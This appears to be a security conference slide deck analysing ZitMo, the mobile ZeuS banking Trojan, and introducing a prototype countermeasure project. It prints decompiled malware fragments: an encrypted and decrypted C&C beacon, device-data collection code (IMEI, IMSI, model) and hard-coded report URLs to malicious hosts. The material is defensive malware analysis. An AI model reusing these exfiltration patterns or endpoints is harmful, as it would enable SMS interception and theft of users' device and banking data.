ZitMo NoM
ZeuS in the Mobile No More
ZitMo NoM
ZeuS in the Mobile No More
The Odd Couple: SchwartzNET Labs

David Schwartzberg

@H4K4K02

@LaDosaNostra

@SchwartzNET
@DavidSchwartzberg
@Mobileleon

@NinjaSloth

- security semi-professional
- enjoy experimenting with malware
- analyzing the latest threats.
- actively enjoy analyzing and collecting OSINT
- developing applications to collect OSINT
MobiMalware by Platform

- Android: 96.54%
- Symbian: 3.45%
- iOS: 0.00001%
- BlackBerry: 0.00001%
- PalmOS: 0.00001%
- WinCE: 0.00001%

What is ZitMo?

ZitMo is the PC ZeuS C&C Trojan written for mobile platforms - Symbian, BB, WinMo & Android.

The PC ZeuS Trojan is notorious for http form injections to steal additional banking information; amongst other things.

ZitMo is botnet malware mainly intercepting mTAN/SMS transmissions for financial gain.
Mobile Trojan Advancements

Starting to use Orbit client / TOR to anonymize traffic to C&C
  IMPACTS: Detection, tracking and shutdown

Used to mine virtual cryptocurrency
  IMPACTS: data service usage, battery life, device longevity

Bootkit evolution rising
  IMPACTS: detection and extraction

Rising Remote Access Trojans (RATs) revolt
  IMPACTS: permits access to device audio and video; App Store detection

Source: F-secure Mobile Threats Report Q1 2014
Behavioral Analysis

Detection Evasion Tactics (DET)
- URI obfuscation
- encode text commands
- Static keys to encrypt data

Communication channels
- WiFi - HTTP
- Carrier - HTTP + SMS
HTTP Obfuscation

Encrypted:
POST /sms/d_m009.php
HTTP/1.1
Content-Type: text/plain;
charset=utf-8
Content-Length: 154
Host: REDACTED
Connection: Keep-Alive
dKgRLWyz2Xrs5CptfcY5tAGO+7VY
WnWjyy1dAMrRe3c2q9PMAGjcl
olpFevr2lIFiYMtJUM/guNFq
+YTPnaEt8JxEoj13uMOfJoEO8Nkg
KyiWMytcWR5UphdqIvoTqZs
Xa2Y6sXhoo8mJLhX5cig==
HTTP/1.1 200 OK
Server: nginx/1.1.19

Decrypted:
POST /sms/d_m009.php
HTTP/1.1
Content-Type: text/plain;
charset=utf-8
Content-Length: 154
Host: REDACTED
Connection: Keep-Alive
services=timer&login=5Eklasa
%2BaH%3A6oGy+3*
%25m&phone=REDACTED&devic
=REDACTED&dd=REDACTED&
HTTP/1.1 200 OK
Server: nginx/1.1.19

Date: Sat, 20 Apr 2013 16:09:16
GMT
Content-Type: text/html;
charset=utf-8
Content-Length: 24
Connection: keep-alive
Vary: Accept-Encoding
FFWkbGCN+cY5qwBZ5zN+Zg==
O&Sign28tepXXX

Date: Sat, 20 Apr 2013 16:09:16
GMT
Content-Type: text/html;
charset=utf-8
Content-Length: 24
Connection: keep-alive
Vary: Accept-Encoding
## Annual Device Shipments

### Table 1

<table>
<thead>
<tr>
<th>Device Type</th>
<th>2013</th>
<th>2014</th>
<th>2015</th>
</tr>
</thead>
<tbody>
<tr>
<td>Traditional PCs (Desk-Based and Notebook)</td>
<td>296,131</td>
<td>276,221</td>
<td>261,657</td>
</tr>
<tr>
<td>Ultramobiles, Premium</td>
<td>21,517</td>
<td>32,251</td>
<td>55,032</td>
</tr>
<tr>
<td><strong>PC Market Total</strong></td>
<td><strong>317,648</strong></td>
<td><strong>308,472</strong></td>
<td><strong>316,689</strong></td>
</tr>
<tr>
<td>Tablets</td>
<td>206,807</td>
<td>256,308</td>
<td>320,964</td>
</tr>
<tr>
<td>Mobile Phones</td>
<td>1,806,964</td>
<td>1,862,766</td>
<td>1,946,456</td>
</tr>
<tr>
<td>Other Ultramobiles (Hybrid and Clamshell)</td>
<td>2,981</td>
<td>5,381</td>
<td>7,645</td>
</tr>
<tr>
<td><strong>Total</strong></td>
<td><strong>2,334,400</strong></td>
<td><strong>2,432,927</strong></td>
<td><strong>2,591,753</strong></td>
</tr>
</tbody>
</table>

Source: Gartner (June 2014)

Malware Samples YE 2012 (K)

2013 Android Mobile Malware Samples

Top 10 Android Mobile Malware Families Reported, 2013

ZitMo & friends

Settings

.field public static final SettingHideSms:Ljava/lang/String; = "AntivirusEnabled"
.field public static final SettingLastSmsSended:Ljava/lang/String; = "LastSended"
.field public static final SettingUninstallComplete:Ljava/lang/String; = "AntivirusUninstallComplete"
.field public static final SettingUninstallRequest:Ljava/lang/String; = "AntivirusUninstallReq"
.field public static final SoftwareVersion:Ljava/lang/String; = "1.2.7"
.field public static final TimerReportInSeconds:I = 0x5dc
.field public static final UrlToReport:Ljava/lang/String; = "http://nfc.phatrabbit.com/biwdr.php"
.field public static final XLastMessage:Ljava/lang/String; = "XLastMessage"
.line 212
const-string v0, "AlternativeNumber"

const-string v1, "8[REDACTED]7"
Privacy Violation

.line 306
.local v0, "ActivationId":Ljava/lang/String;
.local v1, "imei":Ljava/lang/String;
.local v2, "imsi":Ljava/lang/String;
.local v3, "mgr":Ljava/lang/String;
.local v4, "myNumber":Ljava/lang/String;
.local v5, "smsAreHidden":I

.line 220
.local v4, "alternativeControl":Z
.sget-object v2, Landroid/os/Build;->MODEL:Ljava/lang/String;

.line 221
.local v2, "PhoneModel":Ljava/lang/String;
.sget-object v1, Landroid/os/Build;->MANUFACTURER:Ljava/lang/String;

.line 224
.local v1, "PhoneManufacturer":Ljava/lang/String;
.sget-object v0, Landroid/os/Build$VERSION;->RELEASE:Ljava/lang/String;

.line 225
.local v0, "AndroidVersion":Ljava/lang/String;
.const-string v9, "Model:%s AC:%s H:%d AltC:%d V:%s Mf:%s/s/s"
.line 306
.local v0, "ActivationId":Ljava/lang/String;
.local v1, "imei":Ljava/lang/String;
.local v2, "imsi":Ljava/lang/String;
.local v3, "mgr":Landroid/telephony/TelephonyManager;
.local v4, "myNumber":Ljava/lang/String;
.local v5, "smsAreHidden":I
lephonyManager;

local v4, "alternativeControl" : Z
sget-object v2, Landroid/os/Build;->MODEL:Ljava/lang/String;

local v2, "PhoneModel" : Ljava/lang/String;
sget-object v1, Landroid/os/Build;->MANUFACTURER:Ljava/lang/String;

local v1, "PhoneManufacturer" : Ljava/lang/String;
sget-object v0, Landroid/os/Build$VERSION;->RELEASE:Ljava/lang/String;

local v0, "AndroidVersion" : Ljava/lang/String;
const-string v9, "Model:%s AC:%s H:%d AltC:%d V:%s Mf:%s/%s"
# static fields
.field private static final DATABASE_NAME:Ljava/lang/String; = "secsuite.db"

path to database
/data/data/com.android.security/secsuite.db
URLtoReport

```java
public class ValueProvider {
    public static final String AlternativeControl = "AlternativeControl";
    public static final String AlternativeNumber = "AlternativeNumber";
    static Context AppContext;
    public static final int FirstReportDelay = 180;
    public static final String SettingHideSms = "AntivirusEnabled";
    public static final String SettingLastSmsSend = "LastSent";
    public static final String SettingUninstallComplete = "AntivirusUninstallComplete";
    public static final String SettingUninstallRequest = "AntivirusUninstallReq";
    public static final String SoftwareVersion = "1.2.7";
    public static final int TimerReportInSecond = 1500;
    public static final String UrlToReport = "http://androidssafe.com/biwdr.php";
    
    public static String GetAntivirusLink()
    {
        return "http://androidssafe.com/biwdr.php";
    }
}
```

http://androidssafe.com/biwdr.php

http://zitmo.zitmonom.org/biwdr.php
What is ZitMo NoM?

full form = ZeuS in the Mobile No More

Intent is to fill the need for individuals who don't want an anti-virus app installed on their device for religious beliefs.

ZitMo NoM is *not* a replacement for local A-V but for those considering it to be the anti-Christ.

* NOT A COMPLETE SOLUTION. It's a PROTOTYPE.
  ** Please complete me. **  http://zitmonom.org/join
Moar NoM

Features

- Improve input validation
- Sample analysis automation & integration with:
  - VirusShare
  - Maltrieve
  - other sources
- Expanded mobi-malware detection
- Get ZitMo disablement working
- Response tracking hit rate
- Backend database for:
  - usage tracking
  - anti-DOSing
  - metrics
  - auth for sample submission
  - signature look ups
- API hooks for third parties
- and Moar!

Help with...

- Overall non-tech administration
- Fund management / collection
- Marketing / PR
- System Admin
- Website maintenance
- Partnerships

PERKS! Guarantee the results will be slow and the pay non-existent. I will love you...estrangedly.
SMS sent 72 minutes before http attempt
@SchwartzNetLabs
@DSchwartzberg
@MobileIron

References
Tools
- smali - https://code.google.com/p/smali/
- dex2jar - https://code.google.com/p/dex2jar/
- JD-GUI - Java Decompiler http://jd.benow.ca/
- AES Decrypter - http://aesencryption.net

Blogs / Articles / Reports
- Dark Reading As New Year Approaches, Malware Detection Growing http://www.darkreading.com/advisory-as-new-year-approaches-android-malware-detection-growing/d/d-id/1138923